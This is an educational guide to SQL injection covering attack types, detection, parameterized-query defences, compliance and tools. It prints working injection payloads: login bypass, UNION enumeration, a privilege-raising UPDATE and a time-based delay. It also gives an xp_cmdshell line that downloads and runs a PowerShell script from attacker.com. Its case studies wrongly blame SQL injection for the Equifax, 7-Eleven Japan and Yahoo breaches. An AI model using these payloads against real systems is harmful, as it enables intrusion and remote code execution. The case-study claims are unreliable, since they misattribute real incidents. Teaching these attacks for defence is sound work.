Introduction to SQL Injection Attacks
SQL injection remains one of the most devastating and persistent security vulnerabilities in the digital landscape. Despite being known for decades, it continues to plague applications worldwide, ranking #3 in the OWASP Top 10 Web Application Security Risks. This comprehensive guide will delve into the mechanics behind SQL injection attacks, demonstrate real-world attack scenarios, and provide concrete defense strategies to protect your applications.
In today's data-driven world, where databases power everything from e-commerce platforms to healthcare systems, understanding SQL injection isn't just for security professionals—it's essential knowledge for developers, system administrators, and business owners alike. Let's explore how attackers exploit these vulnerabilities and, more importantly, how you can defend against them.
Understanding SQL Injection: The Fundamentals
At its core, SQL injection occurs when an attacker inserts or "injects" malicious SQL code into a query that an application sends to its database. When successful, this allows attackers to access, modify, or delete sensitive data, bypass authentication mechanisms, and potentially gain complete control of the underlying database server.
How SQL Injection Works
SQL injection vulnerabilities arise when applications fail to properly validate, sanitize, or parameterize user inputs before incorporating them into SQL queries. The fundamental issue stems from the confusion between data and code in database operations.
Consider this basic example of vulnerable code:
// Vulnerable PHP code
$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username = '$username'";
$result = $conn->query($query);
When a legitimate user enters their username (e.g., "john_doe"), the query works as intended:
SELECT * FROM users WHERE username = 'john_doe'
However, if an attacker inputs: admin' --
, the resulting query becomes:
SELECT * FROM users WHERE username = 'admin' --'
The double dash (--) comments out the rest of the query, effectively allowing the attacker to log in as the admin user without knowing the password.
Types of SQL Injection Attacks
1. In-band SQL Injection
In-band SQL injection occurs when attackers use the same communication channel to both launch the attack and collect results. This category includes:
Error-based Injection
Attackers deliberately cause database errors that reveal information about the database structure in error messages. For instance, inserting a single quote into a form field might trigger a database error that exposes the database type, table names, or even column information.
Union-based Injection
This technique leverages the SQL UNION operator to combine the results of the original query with a second, attacker-controlled query. For example:
' UNION SELECT username, password FROM users --
This could be used to append all usernames and passwords to the original query results.
2. Blind SQL Injection
Blind SQL injection occurs when applications don't display database error messages or query results directly. Attackers must use alternative methods to determine if their injection was successful:
Boolean-based Blind Injection
Attackers create queries that result in TRUE or FALSE outcomes, observing changes in the application's behavior to infer information. For example:
username=admin' AND 1=1 --
versus
username=admin' AND 1=2 --
If the application behaves differently between these two queries, the attacker can systematically extract data one bit at a time.
Time-based Blind Injection
Attackers inject commands that cause the database to wait for a specified period, allowing them to infer information based on response times:
username=admin'; IF (1=1) WAITFOR DELAY '0:0:5' --
If the application takes 5 seconds to respond, the attacker knows their condition was true.
3. Out-of-band SQL Injection
These attacks use different channels for injection and data retrieval, often leveraging database features that can make network connections or execute system commands. For example, an attacker might use the database to initiate DNS lookups to a server they control, encoding extracted data in subdomain names.
SQL Injection Type | Description | Detection Difficulty | Exploitation Complexity |
---|---|---|---|
Error-based | Uses error messages to extract database information | Low | Low |
Union-based | Uses UNION operator to combine queries | Medium | Medium |
Boolean-based Blind | Infers data by observing TRUE/FALSE responses | High | High |
Time-based Blind | Infers data by measuring response times | High | High |
Out-of-band | Uses alternative channels for data extraction | Very High | Very High |
Common SQL Injection Attack Vectors
Form Fields and URL Parameters
Web forms and URL parameters are the most common entry points for SQL injection attacks. Any input field that might be used in a database query is a potential vulnerability. This includes:
- Login forms (username/password fields)
- Search boxes
- User registration forms
- Contact forms
- Query string parameters
HTTP Headers
Applications that store or process HTTP header information in databases can be vulnerable to SQL injection through headers like:
- User-Agent
- Referer
- Cookie values
JSON and XML Data
Modern APIs often accept JSON or XML payloads, which can contain malicious SQL if not properly sanitized before database operations.
Second-order SQL Injection
Also known as stored SQL injection, these attacks occur when malicious input is stored in the database and later used in a different SQL query. These are particularly dangerous because they can affect parts of the application that developers might not expect to receive untrusted data.
Real-world SQL Injection Attack Scenarios
Authentication Bypass
One of the most common SQL injection attacks targets login forms to bypass authentication mechanisms.
Vulnerable Code Example:
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
Attack Payload:
username: admin' --
password: anything
This transforms the query to:
SELECT * FROM users WHERE username = 'admin' -- AND password = 'anything'
The double dash comments out the password check, allowing the attacker to log in as any user without knowing their password.
Data Exfiltration
Attackers can extract sensitive information from databases using techniques like UNION-based SQL injection.
Attack Payload Example:
product_id=10 UNION SELECT 1, table_name, 3, 4 FROM information_schema.tables --
This allows attackers to discover database table names, followed by column information and eventually extracting sensitive data like credit card numbers or passwords.
Data Modification
SQL injection can be used to update or delete records in the database.
Attack Payload Example:
username=admin'; UPDATE users SET is_admin = 1 WHERE username = 'attacker'; --
This grants administrative privileges to the attacker's account.
Server Compromise
Advanced SQL injection attacks can sometimes lead to complete server compromise through techniques like:
- Executing operating system commands via SQL server features
- Writing files to the server filesystem
- Leveraging database privileges to access unauthorized resources
MSSQL Example:
'; EXEC xp_cmdshell 'powershell -c "IEX (New-Object Net.WebClient).DownloadString(\"http://attacker.com/malware.ps1\")"' --
Detecting SQL Injection Vulnerabilities
Identifying SQL injection vulnerabilities before attackers do is essential for securing applications. Here are key methods for detection:
Manual Testing
Security professionals and developers can manually test for SQL injection by inputting characters like single quotes, double quotes, semicolons, and comment markers into input fields and observing application behavior.
Common Test Strings:
- Single quote:
'
- Double quote:
"
- Semicolon:
;
- Comment markers:
--
,#
,/**/
- SQL keywords:
OR 1=1
,AND 1=2
Automated Scanning Tools
Various tools can automate the process of detecting SQL injection vulnerabilities:
Tool Name | Type | Features |
---|---|---|
OWASP ZAP | Open-source | Full-featured web application security scanner with SQL injection modules |
SQLmap | Open-source | Specialized SQL injection detection and exploitation tool |
Burp Suite | Commercial (free community edition) | Comprehensive web security testing platform with SQL injection scanning capabilities |
Netsparker | Commercial | Automated scanner with proof-of-concept exploitation |
Acunetix | Commercial | Web vulnerability scanner with advanced SQL injection detection |
Code Review
Systematic code reviews focusing on database interaction points can identify potential SQL injection vulnerabilities. Look for:
- Direct inclusion of user input in SQL queries
- Inadequate input validation and sanitization
- Dynamic SQL generation
- Lack of parameterized queries or prepared statements
Preventing SQL Injection: Best Practices
Preventing SQL injection requires a multi-layered approach. Here are the most effective defense strategies:
1. Use Parameterized Queries (Prepared Statements)
Parameterized queries are the single most effective defense against SQL injection. They work by separating the SQL code from the data, preventing attackers from altering the query structure.
Examples in Various Languages:
PHP (PDO):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->bindParam(':username', $username);
$stmt->bindParam(':password', $password);
$stmt->execute();
JavaScript (Node.js with mysql2):
const statement = connection.prepare("SELECT * FROM users WHERE username = ? AND password = ?");
statement.execute([username, password], (error, results, fields) => {
// Handle results
});
Python (with psycopg2):
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
Java (JDBC):
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE username = ? AND password = ?");
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
2. ORM (Object-Relational Mapping) Frameworks
ORM frameworks can provide an additional layer of protection by abstracting direct SQL interaction and implementing parameterized queries automatically:
Language | Popular ORM Frameworks |
---|---|
PHP | Doctrine, Eloquent (Laravel) |
Python | SQLAlchemy, Django ORM |
JavaScript | Sequelize, Prisma, TypeORM |
Java | Hibernate, JPA |
Ruby | Active Record (Rails) |
.NET | Entity Framework |
Example with Sequelize (Node.js):
const user = await User.findOne({
where: {
username: req.body.username,
password: req.body.password
}
});
3. Input Validation and Sanitization
While not sufficient on their own, input validation and sanitization form an important part of a defense-in-depth strategy:
Input Validation
Validate inputs against a whitelist of allowed characters and patterns. For example, if a field should only contain alphanumeric characters:
if (!preg_match('/^[a-zA-Z0-9]+$/', $username)) {
// Reject input
}
Input Sanitization
Use language-specific functions to escape special characters:
// PHP
$sanitizedInput = mysqli_real_escape_string($conn, $userInput);
// JavaScript
const sanitizedInput = mysql.escape(userInput);
Note: While sanitization can help, it should never be the primary defense against SQL injection. Always use parameterized queries first.
4. Least Privilege Principle
Limit database account permissions to only what's necessary for the application to function:
- Use different database accounts for different operations (read-only vs. write access)
- Restrict access to system tables and procedures
- Remove unnecessary database functionality
- Apply row-level security where appropriate
5. Web Application Firewalls (WAFs)
WAFs can detect and block common SQL injection patterns. Popular options include:
- ModSecurity (open-source)
- Cloudflare WAF
- AWS WAF
- F5 Advanced WAF
While WAFs provide an additional security layer, they should not replace secure coding practices.
6. Error Handling
Implement proper error handling to prevent database errors from revealing sensitive information:
- Use custom error pages
- Log detailed errors server-side, but display generic messages to users
- Never expose SQL errors to end users
7. Database Hardening
Harden database configurations:
- Apply security patches and updates promptly
- Remove or disable unnecessary features and stored procedures
- Enable query logging for suspicious activities
- Consider using database activity monitoring tools
SQL Injection Defense Checklist
Use this comprehensive checklist to ensure your applications are protected against SQL injection attacks:
Defense Measure | Priority | Implementation Notes |
---|---|---|
Parameterized queries / prepared statements | Critical | Implement for ALL database interactions |
ORM frameworks with secure defaults | High | Ensure proper configuration and avoid raw SQL |
Input validation | High | Validate type, length, format, and range |
Least privilege database accounts | High | Create separate accounts for different access levels |
Secure error handling | Medium | Custom error pages, detailed server-side logging |
Web Application Firewall | Medium | Configure for SQL injection patterns |
Database activity monitoring | Medium | Set alerts for suspicious query patterns |
Regular security testing | High | Automated scanning and manual penetration testing |
Code reviews | High | Focus on database interaction points |
Security training for developers | High | Regular education on secure coding practices |
Case Studies: SQL Injection in the Wild
Equifax Data Breach (2017)
The Equifax breach, which exposed personal information of 147 million consumers, was partially attributed to SQL injection vulnerabilities in their web applications. Attackers exploited these vulnerabilities to access sensitive credit information, social security numbers, and other personal data.
7-Eleven Japan (2019)
A SQL injection vulnerability in 7-Eleven Japan's mobile payment app allowed attackers to access customer accounts and make fraudulent charges. The attack affected approximately 900 customers and resulted in unauthorized transactions totaling around $510,000.
Yahoo Data Breach (2012)
SQL injection played a role in the Yahoo breach that affected over 3 billion user accounts. Attackers exploited a vulnerability to access user database and steal names, email addresses, phone numbers, hashed passwords, and security questions/answers.
Lessons Learned
These high-profile breaches underscore the importance of:
- Implementing secure coding practices from the beginning
- Regular security assessments and penetration testing
- Prompt patching of known vulnerabilities
- Defense-in-depth approach to security
- Employee training on security awareness
Advanced SQL Injection Defense Techniques
Query Parameterization Libraries
Various libraries can help enforce parameterized queries:
- PHP: PDO, MySQLi
- Python: SQLAlchemy, psycopg2
- JavaScript: node-postgres with parameterized queries
- Java: Spring JDBC Template, JDBC PreparedStatement
Stored Procedures
Stored procedures can provide an additional layer of protection:
-- SQL Server stored procedure
CREATE PROCEDURE getUserByCredentials
@Username VARCHAR(50),
@Password VARCHAR(128)
AS
BEGIN
SELECT * FROM Users
WHERE Username = @Username AND PasswordHash = @Password
END
Content Security Policy (CSP)
While primarily designed to prevent XSS attacks, CSP can help mitigate some impacts of SQL injection by preventing data exfiltration through script injection.
Runtime Application Self-Protection (RASP)
RASP technologies monitor application behavior at runtime and can detect and block SQL injection attempts as they occur.
SQL Injection Prevention in Modern Frameworks
Many modern frameworks provide built-in protection against SQL injection:
Framework | Language | SQL Injection Protection |
---|---|---|
Laravel | PHP | Eloquent ORM, query builder with automatic parameter binding |
Django | Python | ORM with parameterized queries by default |
Spring Boot | Java | JPA, Hibernate, JDBC Template with parameterization |
Ruby on Rails | Ruby | Active Record with automatic parameter escaping |
Express.js | JavaScript | Sequelize ORM, Knex.js query builder with parameterization |
ASP.NET Core | C# | Entity Framework, Dapper with parameterized queries |
SQL Injection in Different Database Systems
SQL injection techniques and defenses can vary depending on the database management system (DBMS). Here's a comparison of SQL injection characteristics across popular database systems:
Database | Comment Syntax | String Concatenation | Specific Vulnerabilities |
---|---|---|---|
MySQL | -- , # , /**/ |
CONCAT() |
LOAD_FILE() for reading files, INTO OUTFILE for writing files |
Microsoft SQL Server | -- , /**/ |
+ |
xp_cmdshell for OS command execution, stacked queries with semicolons |
Oracle | -- |
|| |
UTL_HTTP for network connections, DBMS_SCHEDULER for task scheduling |
PostgreSQL | -- , /**/ |
|| |
COPY command for file operations |
SQLite | -- , /**/ |
|| |
attach database for accessing files |
Each database system has its own specific functions and features that attackers might exploit. Understanding these differences is crucial for both detecting vulnerabilities and implementing appropriate protections.
Emerging Trends in SQL Injection
NoSQL Injection
As NoSQL databases gain popularity, attackers have adapted injection techniques to target these systems. NoSQL injection attacks exploit similar vulnerabilities in document-oriented databases like MongoDB, Cassandra, and CouchDB.
Example MongoDB Injection:
// Vulnerable query
db.users.find({username: username, password: password})
// Attack input
username: {"$gt": ""}
password: {"$gt": ""}
// Resulting query finds the first user
db.users.find({username: {"$gt": ""}, password: {"$gt": ""}})
Parameterized queries and proper input validation are equally important for preventing NoSQL injection attacks.
GraphQL Injection
GraphQL APIs can be vulnerable to injection attacks if user input is directly incorporated into queries without proper validation. Attackers can manipulate GraphQL queries to access unauthorized data or cause denial of service.
Advanced Evasion Techniques
Attackers continue to develop techniques to bypass WAFs and other protections:
- Encoding variations (URL, hex, Unicode)
- Comment injection and whitespace manipulation
- Alternative syntax for SQL operations
- Obfuscation techniques
SQL Injection Testing Tools and Resources
Open Source Testing Tools
- SQLmap: Automated SQL injection detection and exploitation tool
- OWASP ZAP: Comprehensive web application security scanner
- Burp Suite Community Edition: Web security testing platform
- sqlninja: SQL Server-specific injection tool
- NoSQLMap: Automated NoSQL injection testing
Learning Resources
- OWASP SQL Injection Prevention Cheat Sheet: Comprehensive guide to SQL injection prevention
- PortSwigger Web Security Academy: Free interactive SQL injection labs
- HackTheBox and TryHackMe: Platforms with SQL injection challenges
- SANS SEC542: Web App Penetration Testing and Ethical Hacking course
Practice Environments
To safely practice identifying and exploiting SQL injection vulnerabilities, consider these deliberately vulnerable applications:
- DVWA (Damn Vulnerable Web Application): Configurable difficulty levels for SQL injection practice
- WebGoat: OWASP's interactive learning environment
- SQLi-labs: Collection of SQL injection scenarios
- bWAPP: Buggy Web Application with various SQL injection challenges
Regulatory Compliance and SQL Injection
SQL Injection in Compliance Frameworks
Various regulatory frameworks require protection against SQL injection:
Framework | Relevant Requirements | Industry |
---|---|---|
PCI DSS | Requirement 6.5.1: Prevention of injection flaws | Payment Card Industry |
HIPAA | Technical Safeguards for data integrity | Healthcare |
GDPR | Article 32: Security of processing | All industries (EU data) |
SOC 2 | Common Criteria 6.6: System Development Life Cycle | Technology Services |
ISO 27001 | Annex A.14: System acquisition, development and maintenance | All industries |
Organizations must implement adequate controls against SQL injection to meet these compliance requirements. Failure to do so can result in fines, penalties, and reputational damage.
Documentation for Compliance
To demonstrate compliance with security requirements, organizations should document:
- SQL injection prevention policies and procedures
- Developer training on secure coding practices
- Regular security testing results and remediation efforts
- Code review processes that explicitly check for SQL injection
- Incident response plans for potential SQL injection breaches
SQL Injection in Mobile and API Environments
Mobile Application Vulnerabilities
Mobile applications that interact with backend databases face similar SQL injection risks as web applications. Key considerations include:
- Client-side input validation is never sufficient (can be bypassed with API interception tools)
- API endpoints need the same protections as web forms
- Mobile apps often use SQLite locally, which can also be vulnerable to injection
REST API Protection
APIs are increasingly common targets for SQL injection attacks. Best practices include:
- Implementing proper parameterization in API backend code
- Using strong input validation and sanitization
- Applying rate limiting to prevent automated attacks
- Implementing proper authentication and authorization
- Using API gateways with security features
Microservices Architecture Considerations
In microservices architectures, multiple services may interact with databases, increasing the attack surface. Organizations should:
- Apply consistent security standards across all services
- Consider database abstraction layers with built-in protection
- Implement least privilege access between services
- Use API gateways to apply centralized security controls
Secure Development Lifecycle Integration
Addressing SQL injection requires integration throughout the software development lifecycle:
Requirements and Design Phase
- Define security requirements for database interactions
- Choose frameworks and libraries with built-in protection
- Design with security in mind (secure by design)
- Create threat models that consider SQL injection
Development Phase
- Follow secure coding guidelines
- Use parameterized queries or ORMs consistently
- Implement input validation
- Conduct peer code reviews with security focus
Testing Phase
- Perform security testing (DAST, SAST, IAST)
- Conduct penetration testing
- Use automated SQL injection scanners
- Test error handling
Deployment Phase
- Implement WAF protection
- Configure secure database access
- Set up monitoring and logging
- Deploy with least privilege
Maintenance Phase
- Monitor for suspicious database activity
- Apply security patches promptly
- Conduct regular security reassessments
- Update security controls as threats evolve
Building a Security Culture for SQL Injection Prevention
Developer Training
Educating developers is crucial for preventing SQL injection vulnerabilities:
- Regular secure coding training with SQL injection focus
- Hands-on workshops with realistic scenarios
- Code examples showing vulnerable vs. secure implementations
- Integration of security into developer onboarding
Security Champions Programs
Embedding security champions within development teams can help:
- Provide immediate security guidance
- Conduct code reviews with security focus
- Advocate for secure coding practices
- Bridge the gap between security and development teams
Incentives and Recognition
Motivating secure development practices:
- Recognize and reward secure coding practices
- Include security metrics in performance evaluations
- Celebrate vulnerability identification and remediation
- Foster a blameless culture for security issues
Conclusion: The Future of SQL Injection Security
SQL injection has been a persistent threat for decades, and despite advancements in security awareness and technologies, it continues to plague applications worldwide. Looking ahead, several trends will shape SQL injection security:
Automated Security Tools
The integration of security tools into CI/CD pipelines will increasingly automate the detection of SQL injection vulnerabilities during development. AI-powered tools will improve accuracy and reduce false positives.
Serverless and Edge Computing
As computing moves toward serverless architectures and edge computing, new SQL injection vectors will emerge. Security practices will need to adapt to these distributed environments.
The Rise of ORMs and Database Abstraction
The continued adoption of ORMs and database abstraction layers will help reduce direct SQL injection vulnerabilities but may introduce new attack vectors if not properly configured.
Zero Trust Architectures
The adoption of zero trust security models will provide additional layers of protection against SQL injection by limiting the potential damage even when vulnerabilities exist.
Final Thoughts
SQL injection remains a critical security concern that requires ongoing vigilance. By implementing the defense strategies outlined in this guide—particularly parameterized queries, proper input validation, and least privilege principles—organizations can significantly reduce their risk exposure.
Remember that security is not a one-time effort but a continuous process of improvement. Regular testing, code reviews, and developer education are essential components of an effective SQL injection prevention strategy. By building security into every phase of development and fostering a strong security culture, organizations can protect their valuable data assets from this pervasive threat.
Additional Resources
Books
- "The Web Application Hacker's Handbook" by Dafydd Stuttard and Marcus Pinto
- "SQL Injection Attacks and Defense" by Justin Clarke
- "Web Application Security: A Beginner's Guide" by Bryan Sullivan and Vincent Liu
Online Resources
- OWASP SQL Injection Prevention Cheat Sheet
- NIST Guidelines on Database Security
- PortSwigger Web Security Academy SQL Injection Labs
- HackerOne SQL Injection Reports (public disclosures)
Tools
- SQLmap - Advanced open-source SQL injection tool
- OWASP ZAP - Web application security scanner
- Burp Suite - Web security testing platform
- SQLiPy - Burp Suite extension for SQL injection
Training
- SANS SEC542: Web App Penetration Testing and Ethical Hacking
- Offensive Security Web Expert (OSWE) certification
- PentesterLab SQL Injection exercises
- TryHackMe and HackTheBox SQL Injection rooms
Frequently Asked Questions
Is SQL injection still relevant today?
Yes, SQL injection remains highly relevant. Despite being well-understood, injection vulnerabilities consistently rank in OWASP's Top 10 Web Application Security Risks. Many applications, especially legacy systems and those built by inexperienced developers, remain vulnerable.
Can WAFs completely protect against SQL injection?
No, Web Application Firewalls (WAFs) should be considered an additional layer of defense rather than a complete solution. Advanced attackers can often bypass WAF protections using obfuscation techniques. Secure coding practices remain essential.
Are NoSQL databases immune to injection attacks?
No, NoSQL databases are vulnerable to their own form of injection attacks. While the syntax differs from traditional SQL injection, the underlying vulnerability—improper handling of user input—remains the same.
What's the most effective defense against SQL injection?
Parameterized queries (prepared statements) are widely considered the most effective defense against SQL injection. They separate code from data, preventing attackers from altering query structure.
How do I test my application for SQL injection vulnerabilities?
Start with automated tools like OWASP ZAP or SQLmap for initial scanning. Follow up with manual testing of input fields using common SQL injection payloads. For comprehensive assessment, consider engaging professional penetration testers.
Glossary of SQL Injection Terms
- Blind SQL Injection
- An attack where the attacker receives no direct feedback from the application about the success or failure of their injection attempts.
- Boolean-based Blind Injection
- A type of blind SQL injection where the attacker can determine if a condition is true or false based on the application's response.
- Error-based Injection
- An attack that leverages database error messages to extract information about the database structure.
- In-band SQL Injection
- Attacks where the same communication channel is used for both launching the attack and receiving results.
- Out-of-band SQL Injection
- Attacks that use different channels for sending the attack and retrieving results, often through DNS or HTTP requests.
- Parameterized Query
- A database query where placeholders are used for parameters and the parameter values are supplied at execution time. This prevents SQL injection by separating code from data.
- Prepared Statement
- A feature in database systems that allows for parameterized queries. The database compiles the query once and executes it multiple times with different parameter values.
- Second-order SQL Injection
- Also known as stored SQL injection, occurs when malicious input is stored in the database and later used in a vulnerable SQL query.
- SQL (Structured Query Language)
- A domain-specific language used for managing and manipulating relational databases.
- Stacked Queries
- A SQL injection technique where multiple SQL statements are executed in sequence using semicolons to separate them.
- Time-based Blind Injection
- A blind SQL injection technique where attackers can infer information based on the time the database takes to respond.
- UNION-based Injection
- A SQL injection technique that uses the UNION SQL operator to combine the results of the original query with a second, attacker-controlled query.
- Web Application Firewall (WAF)
- A security solution that monitors and filters HTTP requests to identify and block potential attacks, including SQL injection attempts.